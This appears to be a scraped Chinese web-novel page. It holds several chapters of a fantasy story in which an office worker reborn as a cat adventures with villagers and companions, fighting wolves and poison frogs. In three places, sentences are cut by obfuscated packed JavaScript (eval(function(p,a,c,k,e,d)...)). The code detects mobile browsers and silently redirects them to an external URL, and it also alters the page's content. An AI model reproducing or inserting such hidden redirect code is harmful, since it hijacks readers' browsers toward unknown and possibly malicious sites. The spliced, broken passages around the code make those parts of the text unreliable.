方绪白叼着肉干,看见西拉斯正扯着被荆棘勾破的披风——披风是去年冬天村里织的,沾着不少补丁,手指勾着口子使劲拽,指尖被划了道小口子,血珠冒出来,他往裤子上蹭了蹭,像没事人似的,说“小伤,不碍事,以前打铁时被烫得更狠都没事”。“手……”奎兰站在旁边,声音小得像蚊子哼,指尖凝着点白霜,却不敢递过去,像怕打扰别人干活,只敢悄悄看着伤口。 方绪白跳过去,用舌头舔了舔西拉斯的伤口——血是咸的,像加班时不小心掉在键盘上的眼泪,有点涩。 西拉斯愣了愣,摸了摸它的头:“小祖宗,还会心疼人?比我那混小子强多了,他上次见我流血,吓得直哭。”奎兰也凑过来,指尖的冰雾轻轻落在伤口上,凉丝丝的,像敷了块冰毛巾,伤口瞬间不疼了,连血都止住了,留下点淡淡的白霜。 “洞里有小狼崽。”奎兰突然说,声音比谷里的雾还轻,“我刚才听见……小奶音,细细的,像小猫叫。”方绪白往洞里探了探鼻子,果然闻着了淡淡的奶味,像猫咖里刚断奶的小猫,软乎乎的,还带着点温热。 方绪白回头用脑袋顶了顶罗文的腿,又往西拉斯的盾上扫了扫尾巴,别伤着小狼崽,母狼是为了崽才偷鸡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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方绪白跟在后面,看着小狼崽们跌跌撞撞地钻缝,最小的那只还被石头绊了下,母狼立刻回头舔了舔它的耳朵,像在说“别怕,跟着我”。 等最后一只狼崽的尾巴尖消失在缝里,方绪白才转身往回走,鼻尖突然碰着点凉丝丝的东西——是奎兰指尖凝着的小冰珠,他正蹲在地上,用冰雾在石头上画着小小的狼爪印,冰印在阳光下闪着光,像撒了把碎钻。 “这样……它们下次就知道往哪走了。”奎兰见方绪白看他,耳尖又红了,赶紧收回手,冰印很快化了,只留下点湿痕。 西拉斯哼了声,却从怀里摸出块烤麦饼,是昨天磨坊老板送的,还带着点温热,掰了半块递给奎兰:“拿着,路上吃,你这小身板,别走到一半饿晕了,还得我扛着你。”奎兰愣了愣,接过麦饼时指尖还沾着点霜,饼上的芝麻沾了霜花,香得他偷偷咽了口唾沫。 往回走时,雾已经散了,阳光透过树叶洒下来,在地上织出碎金似的光斑。 方绪白走在最前面,尾巴竖得像根小旗子,鼻尖突然闻到了熟悉的玉米香——佐伊正站在村口的老槐树下,手里提着个竹篮,蓝布巾裹着的篮子里,鸡蛋撞出轻轻的“哒哒”声,像小时候外婆家挂在屋檐下的风铃。 “薇薇安!罗文大哥!西拉斯大叔!”女孩看见它们,辫子甩着跑过来,掌心还沾着刚剥的玉米皮,“我刚才去鸡窝,看见鸡都好好的,还下了两个新鸡蛋!”她从篮子里拿出个布包,里面是块鸡油饼,金黄的油渗过布面,香得方绪白直甩尾巴,“这是我早上烙的,用的是新收的麦粉,还放了点桂花,你们分着吃。” 西拉斯抢先掰了块饼塞进嘴里,脆得掉渣,含糊地说:“算你有良心,没白帮你赶狼。” 罗文也拿了块,递给奎兰时特意撕了小点:“慢点吃,刚烙的,有点烫。”奎兰咬了口,饼上的鸡油香混着麦香,还有点淡淡的桂花香,让他的脸又红了,小声说:“比我以前在北方森林吃的干面包好吃多了。” 方绪白叼着属于自己的那块小饼,蹲在槐树下啃得正香,突然听见身后传来“汪汪”声——大黄颠颠跑过来,嘴里叼着根金棕色的鸡毛,是佐伊家那只最肥的母鸡掉的。 它把鸡毛放在方绪白脚边,尾巴摇得像拨浪鼓,像是在邀功。方绪白把饼掰了点给它,大黄立刻叼着饼跑开,蹲在远处吃得欢,鸡毛还粘在它的嘴角。 风里的草木香混着松针的清苦,还有饼上的鸡油香,像准时下班后夜晚的风,带着点让人活下去的希望。 方绪白舔了舔爪子上的饼渣,抬头看见罗文正和佐伊说笑着收拾竹篮,佐伊把鸡蛋小心地放进篮底的草垫里,说“等攒够了,就给薇薇安炖鸡汤”;西拉斯在旁边敲着盾沿,教奎兰怎么避开荆棘丛,奎兰的耳尖还泛着粉,却认真地听着,指尖偶尔凝出点小冰珠,又很快化了。 方绪白甩了甩尾巴,往罗文脚边凑了凑,蹭了蹭他沾着草屑的裤腿,下次再有事,还一起组队。 罗文弯腰抱起方绪白,指尖蹭过他嘴角的饼渣:“吃饱了?要不要去西拉斯的铁匠铺看看,他补盾的时候,说不定能蹭到烤土豆。” 方绪白立刻竖起耳朵,尾巴扫得罗文的手腕发痒。奎兰跟在后面,手里还攥着半块麦饼,阳光落在他淡金色的头发上,像是闪着金光的瀑布,耳尖的粉还没褪,却悄悄加快了脚步,跟上了他们的影子。 老槐树的叶子在风里轻轻晃,筛下的阳光落在地上,像铺了层暖融融的金纱。 方绪白窝在罗文的怀里,闻着他身上的艾草味,还有手里麦饼的余香,突然想起去年冬天在公司楼下,有一只三花带着两只小猫躲在暖气口,把冻干分给幼崽,自己只舔舔包装袋上的碎渣。明明两件事毫无关联,可是无端的方绪白总感觉罗文很像那只三花。 3. 香香炖鸡 刚把最后只灰狼的喉咙咬穿时,方绪白的爪子还沾着血沫,热乎的血蹭在肉垫上,像上次帮罗文捡滚到灶边的红心红薯,指尖不小心沾了点灶膛的火星子,烫得指尖发麻,却舍不得立刻甩掉那点暖。 方绪白甩了甩爪子,血沫溅在草叶上,像撒了点暗红的碎墨,风一吹就干了,只留下几道浅浅的印子,像谁用红铅笔在草叶上画了几道短线。 远处灰狼的尸体倒在矮丛里,尾巴还僵着,像根掉在地上的旧麻绳,尾尖沾着草籽,草籽是浅褐色的,和狼尾的灰混在一起,倒像谁在麻绳上缀了点碎珠子。 方绪白瞥了一眼,去年冬天在公司楼下看见的流浪狗尸体,也是这样蜷在角落,毛上结着冰碴,冰碴子在路灯下泛着冷光。当时自己还偷偷放了块火腿肠在旁边,塑料皮都没拆干净,还说“至少让它走得饱点”,那天的风,也像现在这样刮得人脸疼,把围巾都吹得飞起来。 听见村民道谢的动静,方绪白的尾巴先于脑袋转了半圈,不是讨好的摇,是像办公室里绷紧了一上午的灰色鼠标线,被咖啡杯沿碰了下,突然松了半分的软,连尾尖的绒毛都耷拉下来些,绒毛上还沾着点草屑。 最前头的老村长举着个布包走过来,布是粗棉布染的浅褐色,染得不太均匀,有的地方深些有的地方浅些,像撒了把土在布上。上面还绣着歪歪扭扭的玉米穗,黄的绿的线混在一起,有几针还绣错了地方,绕了个小疙瘩,是去年秋收时村里妇人一起绣的,怀特家老阿姨眼神不好,还把玉米须绣成了直线,像给玉米穗插了几根细棍子。 针脚虽乱,却透着股温暖,像晒过太阳的被子,凑近了能闻见点阳光晒过的棉絮味。他把包递到罗文手里,手背上的老茧蹭过布面,沙沙响,指关节还沾着点泥土,是刚从田里赶过来的缘故,指甲缝里还嵌着点麦秸秆。 “多亏了你们,不然这狼再闹下去,过冬的粮都要被偷光了。这是村里攒的麦粉,筛了三遍,细得很,冲糊糊都不结块;还有点晒干的香菇,是赛特家去年晒的,挂在房梁上熏了半个月,香得很,炖鸡汤最鲜,给你们补补。” 罗文接过布包时,方绪白看见包角还缝着块小补丁,用的是花布,是村里小孩穿旧的棉袄拆下来的,上面还印着个褪色的小老虎。 方绪白三两下跳上罗文的盾牌,盾牌边缘还嵌着片狼的碎牙,尖梢泛着冷光,像冬天里没化的冰碴子,碰一下都觉得扎手。 方绪白用爪子拨了拨狼牙,“叮”的一声轻响,狼牙没掉,倒震得爪子有点麻,像敲键盘太用力,指尖发僵的感觉,连带着尾巴尖都抖了抖。 方绪白却毫不在意——上次西拉斯补盾时,他蹲在铁砧旁看了半晌,火星子落在盾面上“滋啦”响,像把小鞭炮扔在铁板上。 西拉斯叼着个陶土烟斗,烟圈慢悠悠飘出来,沾在他花白的胡子上,像挂了层霜。 他说“这盾能挡野猪撞,别说魔狼了,就是熊来,也得退三步”。 当时西拉斯还敲了敲盾面,声音闷闷的,像敲在厚实的木板上,震得铁砧都颤了颤,旁边的铁钳子都掉在了地上。 想来挡几片狼牙自然不在话下,比公司楼下五金店那卷薄钢板结实多了。 村民递来的小鱼干装在个粗陶碗里,碗边还有道裂纹,用细铁丝捆着,铁丝都生了点锈,却擦得干干净净,碗底还留着点没洗干净的鱼腥味,是海鱼特有的咸鲜,像夏天去海边闻到的味道。 小鱼干带着点海盐的咸,是晒了整季的干货,硬邦邦的却越嚼越香,像小时候外婆晒的鱼干,要泡软了才好嚼,可方绪白就爱这硬劲,啃起来带劲,能磨磨牙,把上次打架崩了点的牙尖磨平些。 方绪白叼着鱼干就蹲稳了,琥珀色的瞳孔眯成两道竖线,像把小刀子,咔嚓咔嚓啃得鱼皮乱飞,碎渣掉在盾牌上,像撒了把从工位窗台扫下来的细沙,轻得没声响,风一吹就滚到了盾边。 啃到鱼干还剩小半条时,他忽然停了。耳朵抖了抖,像是听见了草叶里虫鸣的动静 其实是瞥见西拉斯正蹲在火堆旁揉手背。那道被荆棘划开的红痕在他黑皮肤上格外显眼,像烧红的铁渣子落在手背上的印子,红得发亮,连周围的皮肤都绷得紧,像拉平的布,连皱纹都撑开了。 西拉斯揉得有点用力,眉头皱着,却没哼一声,像以前他打铁时被烫伤,也只是往伤口上抹点炉灰,说“这点伤算什么,比打铁时被铁水溅到轻多了” 可方绪白分明看见他偷偷往伤口上吹了口气,嘴唇还抿了抿,像在忍疼,连胡子都抖了抖,像风吹过草垛。 火堆旁的木柴噼啪响了声,溅起个小火星,落在西拉斯的裤脚上,他随手拍掉,裤脚留下个黑印子,像谁用炭笔点了下。注意力就又回到手背上,指尖轻轻碰了碰红痕,又赶紧缩了回去,像碰了烙铁,连手都往后缩了缩。 方绪白把鱼干往西拉斯面前一推,尾巴尖扫过盾牌边缘,发出细响,像风吹过挂着的钥匙串,叮铃叮铃的轻,像在提醒西拉斯“快吃”。 西拉斯先是一愣,随即笑出声,露出两排白牙,牙上还沾着点鱼干的碎末,像沾了点白芝麻:“还知道分我?算你小子有良心,没白让你蹭我烤麦饼,上次你可是把我烤的麦饼都叼走了半块,害我中午没吃饱,只能啃硬面包,硌得牙疼,连说话都漏风。” 他说着就拿起鱼干,咬了一口,咔嚓声比方绪白啃的时候还响,像咬碎了块小石子。 鱼渣掉在他的粗布裤子上,他也不在意,用手拍了拍,继续啃,还时不时舔舔嘴角,像个吃到糖的小孩,连眼睛都眯了起来。 他伸手要摸方绪白的头,指尖刚碰到皮毛,带着点烟火气的温度。 方绪白的尾巴就轻轻扫过西拉斯的手背,软乎乎的一下,倒比罗文上次给他涂的草药膏还让人觉得痒,西拉斯忍不住“嗤”地笑出了声,手也忘了揉那道红痕,反而轻轻挠了挠方绪白的下巴,指尖蹭过绒毛,暖乎乎的,像挠在棉花上,方绪白舒服得眯起了眼,连耳朵都耷拉了下来。 罗文端着鸡汤过来时,木碗沿还冒着白汽,暖乎乎的雾飘在他眼前,像冬天里往冻红的手上哈出的气,转眼就散了,在他睫毛上留下点湿痕,像沾了点露水,睫毛一动就掉了下来。 碗里的鸡汤飘着片香菇,香菇边有点卷,是晒得太干,泡发后也没舒展开,像朵缩起来的小伞。 汤面上还浮着点鸡油,亮晶晶的,像撒了层碎金子,在火光下闪着光。这鸡汤是佐伊早上特意塞给他的,佐伊当时掌心还沾着麦粉,像刚揉完面团,手指缝里都是粉,说“给薇薇安补补,它打狼肯定累坏了,这鸡汤我炖了一早上,放了点生姜,驱寒,还加了颗红枣,甜丝丝的,你也喝点”。 他蹲下身把碗放地上,绿眼睛在火光下亮得温和,像盏调暗了亮度的小台灯,不刺眼却安心:“刚打了架,喝点热的,补补力气,别跟上次似的,跑两步就喘气,上次追兔子都没追上,还被兔子蹬了一下鼻子,鼻子都红了,像个熟透的樱桃。” 方绪白却没低头,爪子扒着碗沿往后拖,木碗在泥地上磨出“沙沙”声,像鼠标在旧鼠标垫上滑动的动静,有点滞涩却执着,直挪到奎兰脚边才停。 奎兰正抱着膝盖缩在树桩旁,树桩上还留着西拉斯砍过的刀痕,深浅不一,像画在木头上的横线,是上次劈柴时砍的,当时西拉斯还说“这树桩硬得很,能当凳子坐”。 他的浅金发被风吹得动了动,像猫咖里那只布偶猫的绒毛,软乎乎的,风一吹就飘,还带着点雾的湿,发梢沾在他的脸颊上,他也没拂掉,只是轻轻吸了吸鼻子,有点冻着了,鼻尖都红了。 他怀里揣着个小布包,是深蓝色的粗布做的,边角都磨毛了,像洗了很多次的旧毛巾,摸起来软软的。 里面是他带的干粮,是块硬邦邦的黑麦面包,刚才打架时被挤得变了形,边缘还沾了点泥土,他却宝贝得很,时不时摸一下,像在确认面包还在,怕丢了就没东西吃了,上次他就丢了块面包,难过了半天。 奎兰的蓝眼睛眨了眨,像落了点星光,又像蒙了层雾,红着脸小声说:“我不饿的,你们喝就好,我……我带了干粮,这个面包还能吃,是我昨天在村里买的,布兰奇家的,用的是新收的麦子,磨得细,可香了,就是有点硬,得泡点水才好嚼,我早上泡了点,可好吃了。” 话是这么说,还是慢慢蹲下来,膝盖碰着草叶,沙沙响,像踩在干枯的树叶上。 他指尖沾了点汤——温温的,像刚泡好的薄荷茶,不烫嘴却暖到心里,递到方绪白嘴边。 他的指尖还带着点冰魔法的凉意,沾在汤里,让汤的温度刚好适口,像加了点碎冰的柠檬水,舒服得很。 方绪白看见他的指尖有点红,像冻着了,想来是刚才用冰魔法时冻的,上次奎兰用冰魔法冻住了偷袭的蛇,指尖也红了半天,罗文还给他捂了好久,用自己的手裹着他的手,像揣了个小暖炉。 方绪白舔了舔他的手指,尾巴终于正经地摇了摇,把刚蹭到的草屑扫到了奎兰的鞋上,像撒了点碎碎的绿纸屑,落在灰布鞋底上,格外显眼。 奎兰也不恼,只是轻轻把草屑拂掉,指尖又沾了点汤,递过去时,耳尖还泛着粉,像被火堆烤得有点热,又像有点害羞,连说话的声音都轻了些:“慢点喝,还有呢,罗文说这汤熬了好久,放了点香菇,可香了,你多喝点,补补力气,下次打架更厉害,就能保护我们了。” 他说着还往碗里吹了吹,想让汤凉得快点,却忘了方绪白不怕烫,上次还偷喝了罗文刚煮好的玉米粥。 西拉斯啃着鱼干突然咋呼,声音大得惊飞了旁边草叶上的蚂蚱,蚂蚱扑棱着翅膀躲进了草丛,连带着草叶都晃了晃,掉了点露珠,溅在西拉斯的鞋上,鞋上沾了点泥点。 他说:“哎我说,刚才那狼扑过来时,要不是薇薇安拽了我裤脚——我这手背说不定就不是划道口子,是被狼爪子抓了!那狼的爪子,比我打铁的凿子还尖,要是真抓着了,我这手就得废了,下次打铁都握不住锤子,只能看着铁砧发呆,那可就麻烦了,我还想给薇薇安打个小铁碗呢!” 他说着还举起手,把那道红痕凑到罗文眼前,像在展示自己的“战功”,却忘了那只是道小口子,比他平时打铁蹭的伤轻多了,上次他被铁钳烫了个大水泡,都没这么激动。 话没说完就被罗文递过来的手帕堵了嘴。手帕像是织羊毛毯剩下的边角料做的,浅灰色,上面还留着点毛线头,像没剪干净的线头,带着点艾草的味,是罗文特意晒过的。说“艾草能驱虫,还能去味,你身上的煤渣味太重了,跟从煤堆里爬出来似的,离你三步远都能闻见,薇薇安都躲着你走”。 罗文的声音软,像刚煮好的粥,却带着点不容拒绝的劲,手上也用了点力:“先擦擦嘴,血和鱼干混在一起,脏得很,跟你打铁时蹭满脸煤渣似的,连牙都黑了,等会儿佐伊看见,又要笑你是‘黑炭脸’,上次你被她笑了,还气了半天,说再也不跟佐伊说话了,结果下午就去蹭她烤的麦饼,还说‘就吃一块,下次不蹭了’,结果吃了三块。” 西拉斯呜哝着扒开手帕,嘴里还沾着手帕上的艾草味,他瞥了眼罗文,看见罗文眼里的笑,带着点无奈的温柔,又有点憋不住的笑意。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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方绪白蹲在盾牌上舔爪子,忽然看见老村长家的小孙女攥着个布娃娃跑过来,娃娃的布裙是用染坏的蓝布做的,裙摆还缝着两朵歪歪的布花。小女孩蹲在盾边,指尖轻轻碰了碰方绪白的尾巴尖,小声说:“你好厉害呀,我看见你咬狼了,像故事里的大英雄。”她掌心还沾着点麦粉,蹭在方绪白的绒毛上,像撒了把细雪。 西拉斯不知何时找来了块磨石,正蹲在树桩旁磨他的铁锤子,磨石转起来“沙沙”响。 他时不时往锤子上哈口气,再接着磨,磨得锤头泛着冷光,比上次给罗文补剑时还认真。“等磨好了,我给薇薇安打个小铁碗,”他忽然开口,声音比刚才咋呼时轻了些,“以后吃鱼干就不用蹭陶碗了,铁的结实,摔不碎。” 罗文刚好走过来,听见这话笑了:“你上次给奎兰打小勺子,还把勺柄打歪了,这次可别把碗底打穿。”西拉斯瞪他一眼,却没反驳,只是往磨石上撒了点水,水珠溅在锤头上,像撒了点碎星星。 奎兰抱着他的小布包坐在草坡上,方绪白跳过去时,正看见他从包里摸出块皱巴巴的纸,纸上画着个歪歪的冰魔法阵,是他昨天在村里借的书描的。 “我想把魔法练得好点,”他用指尖摸着纸上的线条,声音轻得像风,“下次再遇到狼,我就能冻住它们的腿,不用你总护着我了。”方绪白用脑袋蹭了蹭他的胳膊,看见他耳尖又红了,像被午后的太阳晒得发烫。 佐伊提着个竹篮走过来时,篮子里的麦饼香飘得老远,像小时候外婆烤饼干时,整个巷子都能闻到的甜香。 “刚在村里烤的,还热乎着,”她把篮子放在地上,掀开盖布,麦饼上还留着烤焦的小斑点,“艾娃教我放了点芝麻,你们尝尝。”西拉斯第一个伸手拿,烫得直甩手,却还是咬了一大口,芝麻渣掉在他的胡子上,像沾了点碎金子。 “比上次你烤的麦饼香多了,”他含糊地说,“下次再烤,记得叫上我,我帮你烧火。”佐伊白他一眼:“你上次烧火差点把灶台烧了,还是算了吧。” 方绪白叼了块麦饼蹲在草坡上,麦饼的暖透过爪子传上来,像握着杯热可可。 忽然看见远处村民在收晒在田埂上的玉米,玉米穗金闪闪的,像撒了满地的小太阳。老村长正指挥着年轻人把玉米装进布袋子,还在念叨着“今年的玉米比去年饱满”,声音顺着风飘过来,琐碎却让人安心。 奎兰忽然轻轻拉了拉方绪白的尾巴,指着远处的山:“你看,山那边的云像不像棉花糖?我以前在书里见过,说云是天上的棉花,摸起来软乎乎的。” 方绪白抬头看,云确实像刚弹好的棉絮,被风扯得长长的,像织毛衣时掉在地上的毛线。他忽然想起去年团建,去爬山的时候,山顶的云也是这样,林姐还说“要是能躺在云上睡觉就好了”,当时自己还笑她幼稚,现在倒觉得,躺在这样的云里,说不定真的很舒服。 西拉斯磨完锤子,开始给罗文的盾牌补漆,漆是用松脂和炭粉调的,黑乎乎的却很亮。他蘸着漆的刷子在盾面上涂着,时不时停下来敲敲盾面,像在检查结实不结实。 “这盾跟着我三年了,”他忽然说,声音有点沉,“上次跟野猪打架,它替我挡了一下,不然我这胳膊就废了。”罗文蹲在他旁边,帮他递漆碗:“等这次回去,我给它再包层铁皮,更结实。” 佐伊坐在火堆旁缝补西拉斯的裤子,裤脚上的黑印子被她用针线盖了朵小野花,是用黄线绣的,像田埂上常见的蒲公英。 “你这裤子都破了三个洞了,”她一边缝一边说,“下次打架小心点,别总把裤子勾破,我可没那么多布给你补。”西拉斯嘿嘿笑:“下次我尽量,不过要是狼再扑过来,我总不能先顾着裤子吧。” 方绪白啃完麦饼,躺在盾牌上晒太阳,暖乎乎的阳光晒得它眼皮发沉。 他听见远处村民的笑声,西拉斯和罗文的说话声,奎兰轻轻哼着的小调,还有佐伊缝衣服时针线穿过布面的“沙沙”声,这些声音混在一起,像首温柔的歌,比打印机的“哒哒”声好听多了。 这个午后像是一碗撒了糖的麦粥,甜丝丝的,暖乎乎的,让人舍不得错过。 4. 青稻村 青稻村的炊烟裹着湿腥气飘过来时,像块浸了水的旧棉絮,闷乎乎地糊在人脸上,连呼吸都带着点潮意,像把脸埋进刚洗过没晾干的枕套里,鼻尖触到布料上没化开的皂角味,是村里妇人洗衣时常用的那种,混着井水的凉和草木的清苦,沾在睫毛上都觉得发潮,轻轻眨一下,像有小水珠要滚下来,凉得人心里发颤。 方绪白正用尾巴尖扫裤脚的泥,泥点是浅褐色的,混着碎稻叶,扫在草叶上“沙沙”响。 沼泽的咕嘟声比昨天密了,“咕嘟、咕嘟”,像保温杯里没泡开的麦片慢腾腾冒泡,又像老打印机吐厚纸的闷响,每一声都沉在湿空气里,连草叶上的露珠都跟着颤,滚落到泥地砸出小小的坑,又瞬间被湿泥吸进去,连个痕迹都没留下,像从未存在过。 方绪白琥珀色的瞳孔缩成细缝——危险感知像警报器,在脑子里嗡嗡转,比打印机卡纸的尖啸还慌人,尾巴尖的绒毛绷得发紧,像碰了工位上没拆封的回形针,扎得人心里发毛,连后颈的毛都竖了起来,像以前加班到深夜,突然听见走廊传来脚步声时的模样,那时他总赶紧把没写完的方案最小化,怕被领导撞见,现在想来自己的危险预警也与那段惊险的时光脱不了关系。 村长举着张泛黄的草纸扑过来,纸角被手汗浸得发皱,软塌塌像泡了水的苏打饼干,边缘卷着毛边,想来这几天,老头定是把纸揣在怀里,翻来覆去摸得熟了,连纸缝都沾着胸口的汗味,还有点稻田泥土的腥气。 “毒蛙怕硫磺草”五个字歪歪扭扭,墨汁晕成小团灰黑,是用村里小孩写坏的笔头写的,“硫”字右半边少了点,“磺”字的石字旁歪得快贴到“黄”上,像被风吹得站不稳。“勇者大人!稻子快烂完了啊!”老头的哭声混着稻田的腥气,像刚从河里捞上来的鱼,带着水腥和泥味,呛得人鼻子发酸,连眼睛都有点发潮。他手背上的老茧蹭过方绪白的爪子,糙得像摆在五金店橱窗的砂纸,上次他买钉子,王老板的手也是这么糙,还说“这砂纸磨的木头,光溜得能当镜子”,说着就给她看磨得发亮的木柄锤子,锤头还沾着点铁锈,是用了多年的老物件。 方绪白没接话,先瞥见村民脚边的竹篮。细竹条编的,缝眼不太密,能看见里面稻穗的金边,篮耳缠着圈洗得发白的旧布条——是防止磨手的,像缝的鼠标垫边,用碎布包了圈,针脚歪歪扭扭,摸起来却软和。现在那鼠标垫该还在旧工位的抽屉里,说不定还落了层薄灰,旁边放着的事他没吃完的半盒薄荷糖,是专门来提神改方案的,糖盒上的标签都快掉了,是他最喜欢的青柠味。 篮子里的稻穗软乎乎堆着,带着刚割下的温气,像刚从打印机里吐出来的热文件,还留着点机器的余温。 方绪白蹲下去就往篮子上坐,尾巴圈住篮沿才后知后觉,这动作比加班抢沙发还自然。以前在公司,他总赶在午休前五分钟占住那只橘色绒垫沙发,阳光斜斜晒在垫子上,暖得能蜷着睡半小时,连键盘的“哒哒”声都听不见,只闻得到工位飘来的速溶咖啡香,还有同事偷偷吃的辣条味,辣条包装袋“撕拉”一声响,总能把他从浅睡中惊醒。 罗文蹲在旁边笑,棕发垂下来蹭她的耳朵,发丝软乎乎的,像挂着的毛绒小熊挂件——那是去年团建老周抽中的,塞给他时说“有小熊在,改方案不心烦”,现在小熊的耳朵都洗得褪毛了,眼睛上的纽扣也松了线,他还特意用针线缝了两针,却缝得歪歪扭扭。 罗文指尖捏着片沾毒的稻叶,边缘发黑发蔫像放了三天的青菜,毒液淡绿得像稀释的丙烯颜料,沾在指尖黏糊糊,蹭在裤腿上留道浅印,像上次做海报蹭的马克笔痕。当时用酒精擦了半天,最后没办法,只能找了条备用的工装裤,那条裤子还大了一截,他穿起来像偷穿了大人的衣服,走路都得提着裤腰,引得同事们笑了半天。 罗文的绿眼睛映着稻田的水光,温温柔柔像雨天办公室窗外的雾湖,连波纹都慢半拍,手却利落地把硫磺草往石臼里捣,“咚咚”声闷乎乎的,像大猩猩敲开椰子的动静,震得石臼边的草叶轻晃,连地上搬食物的蚂蚁都停了脚,举着面包屑的触角都忘了动。“硫磺草浓度得再调调。” 罗文往方绪白爪字里塞了团草浆布,粗棉布吸饱草汁,绿得发暗像旧T恤洗褪的颜色,“等下喷毒液,你带奎兰往东边跑——精灵怕瘴气,上次在树林闻着腐叶味打了个喷嚏,鼻子红了半天,西拉斯笑他‘小草莓鼻子’,他还红着脸躲树后了,半天都没敢出来,还是我递了片纸巾,他才慢慢探出头。” 奎兰在后面小声应“谢谢罗文先生”,浅金发被风撩起来,像猫咖里布偶猫的长毛,发梢沾着草屑像碎棉絮,他还伸手轻轻拨了一下,却不小心把草屑弄到了眼睛里,揉了半天,眼睛都红了,又像只受了委屈的小兔子。他攥弓的手紧得指节泛白,蓝眼睛盯着沼泽,却刻意避开泥里鼓腮的毒蛙——社恐的精灵连看怪物都怕对视。“我、我箭上淬了草浆,早上用小刷子涂的,手都酸了……毒蛙过来,我能射准眼睛……大概。”他举了举弓,箭尾羽毛沾着浅绿草浆像刚抽的芽,手却轻轻抖,连弓都晃——像上次团建射箭,他紧张得箭射偏了,差点蹭到罗文喝水的陶瓷杯,吓得脸都白了,后来罗文还拿这事笑他,说“奎兰射箭,比我做饭还没谱”,奎兰当时红着脸,半天都没敢说话。 西拉斯扛着斧头蹲在田埂啃麦饼,黑发红眼在太阳下亮得扎眼,像红墨水洒在黑纸上,连发丝都透着股烈劲。“怕什么!”饼渣掉了一衣襟像碎芝麻,他手背抹嘴蹭得嘴角都是麦粉,往沼泽扔了块石头,“扑通”一声沉进泥里,溅的泥点沾在裤脚,像蹭了打印机墨。上次他帮村里人搬油桶,就蹭了满裤腿油,罗文还笑“你这裤子炒菜时就不用放油了”,他还不服气,说“这是战斗的痕迹”,后来洗了好几次,油渍都没洗掉,他干脆把裤子当成了工装裤,天天穿着去干活。 “去年矿洞砍蜥蜴怪,比这蛙丑十倍!鳞片比钢板还硬,我照样劈过去!”话没说完,一只毒蛙喷来毒液,淡绿液线擦过他胳膊,落在稻穗上,稻穗瞬间蔫了像被开水烫过。他手忙脚乱躲,斧头“哐当”掉泥里,斧柄还沾着饼渣,在泥里滚得黑糊糊的。“我的斧头!我的斧头!”西拉斯急得要跳泥坑,罗文赶紧拉住:“疯了?这泥陷进去,比村旁边的急流还危险!上次村民的猪掉进去,捞上来都只剩半只了!” 方绪白从篮子上跳起来,尾巴扫得竹篮晃了晃,稻穗掉出几支沾着湿泥,像刚捞的小旗子。危险感知刺得太阳穴发疼,像赶方案熬了通宵的胀痛,连眼睛都发涩——那时林姐总泡杯菊花茶,加颗冰糖递过来:“清肝明目,别熬坏了眼睛了没人陪我改方案。”茶里的甜像外婆以前泡的糖水,暖得能化了熬夜的累,外婆还会坐在她旁边,摇着蒲扇,说“慢点赶,身体要紧”,蒲扇上还画着朵荷花,是外婆年轻时画的,虽然有点褪色,却很有韵味。 方绪白抓过草浆布往前冲,心里还念叨:优先保稻子,KPI是粮食回收率,还等着做年糕呢,去年我吃了三块,红糖粘在牙上都舍不得抠,罗文还笑我‘小馋猫’,说下次多拿几块给我…… 这么想着,方绪白用四肢比划着:西拉斯捡斧头别踩泥坑!上次你崴脚,罗文背你半里地,T恤都湿了贴在背上,回去还感冒了,喝了三天姜汤才好,姜汤还是罗文煮的,你还说太辣,差点吐出来——这次再崴,自己跳着走,顺便减减你那饮水机桶似的肚子! 罗文在后面笑,绿眼睛里藏着点深光像湖底的石子,不显眼却沉实。 罗文往奎兰手里塞了瓶解毒剂,粗陶瓶坑坑洼洼像没磨的鹅卵石,软木塞带着点老村长家软木树的香——上次借宿,奎兰还摘了片软木树叶夹书里,说“回去给族人看,这叶子像精灵的信纸”,还特意用手帕包好,放在贴身的口袋里,手帕是他母亲织的,上面绣着精灵族特有的花纹。 罗文说:“沾了毒液就涂,别像上次硬撑,头晕了才说,害得我背你找草药走二里地,你还说‘没事’,下来就腿软差点摔石头上,膝盖都青了一块,好几天才消。” 罗文慢悠悠收了剩下的硫磺草,草浆里加了晒干的艾草——是老村长用旧纸包的,纸角炭笔写着“艾草”,老头说“我家老婆子用它熏蚊子,连蚊子腿都能熏掉,你可别小看这不起眼的草”,说着还拍了拍他的肩膀,眼神很认真,像在托付什么重要的东西。 沼泽的咕嘟声更响了,像泥底下有东西在翻涌,地面都轻轻颤,脚边的草叶都跟着抖,沾在草叶上的露珠掉下来,砸在泥地上,印出小坑。方绪白盯着毒蛙鼓着的腮,深绿蛙皮带黑斑,像办公室那盆枯了的多肉——行政部发的,他养了半年枯了,林姐笑“你连自己都养不活”,结果林姐养了几天也枯了,两人对着枯多肉笑了半天,最后还把它埋在了公司楼下的花坛里,说“让它回归大自然”,埋的时候还放了颗薄荷糖,说是给多肉“陪葬”。 这毒蛙比催报告的领导还讨厌——领导至少只发“尽快”表情包,还会加句“不急,注 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16290268|182655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意休息”;毒蛙倒好,直接喷毒液毁KPI,连个警告都没有。 